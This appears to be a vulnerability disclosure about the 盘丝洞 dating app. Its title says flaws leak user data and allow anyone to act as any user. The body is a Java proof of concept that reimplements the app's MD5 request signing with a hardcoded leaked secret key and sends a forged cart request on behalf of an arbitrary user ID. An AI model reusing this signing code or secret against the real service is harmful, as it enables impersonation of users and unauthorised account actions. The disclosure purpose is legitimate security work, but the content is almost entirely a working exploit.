盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

import **.**.**.**.IOException;
 import **.**.**.**.UnsupportedEncodingException;
 import **.**.**.**.URLEncoder;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.Iterator;
 import java.util.Map;
 import org.jsoup.Jsoup;
 import org.jsoup.Connection.Method;
 import org.jsoup.Connection.Response;
 
 /**
  * 
  * @author huigou
  *
  */
 public class Sign {
  /**
   * 
   * @param Screet
   * @param map
   * @return
   * @throws UnsupportedEncodingException
   */
  public static Map<String, String> sign(String Screet, Map<String, String> map) throws UnsupportedEncodingException {
   if (map == null) {
    map = new HashMap<>();
   }
   map.put("appVersion", "4.4.5");
   map.put("platformModel", "iPhone 6s");
   map.put("platformType", "1");
   map.put("appType", "0");
   map.put("v", "308");
   map.put("timestamp", "1459866463678");
   map.put("lastTime", "1459848354294");
   ArrayList<String> list = new ArrayList<>(map.keySet());
   Collections.sort(list); // 排序
   StringBuilder localStringBuilder = new StringBuilder();
   Iterator<String> iterator = list.iterator();
   while (iterator.hasNext()) {
    String str1 = iterator.next();
    String str2 = map.get(str1);
    if (str2 != null) {
     localStringBuilder.append(str1 + "=" + URLEncoder.encode(str2, "UTF-8"));
     map.put(str1, str2);
    } else {
     localStringBuilder.append(str1 + "=");
     map.put(str1, "");
    }
   }
   localStringBuilder.append(Screet);
   map.put("sign", MD5.getMD5(localStringBuilder.toString().getBytes()));
   return map;
  }
 
  public static void main(String[] args) throws IOException {
   Map<String, String> map = new HashMap<>();
   map.put("goodsId", "100006");
   map.put("num", "1");
   map.put("specifictionId", "100008");
   map.put("specifictionName", "%E9%AD%94%E5%8A%9B%E7%B2%89");
   map.put("userId", "902104");
   Map hMap = Sign.sign("LWodY52kWIGOPGLo0189wj5eiYE", map);
   Response response = Jsoup.connect("http://**.**.**.**/mall/cart/add.htm").method(Method.POST).data(hMap)
     .ignoreContentType(true).execute();
   System.out.println(response.body());
  }
 }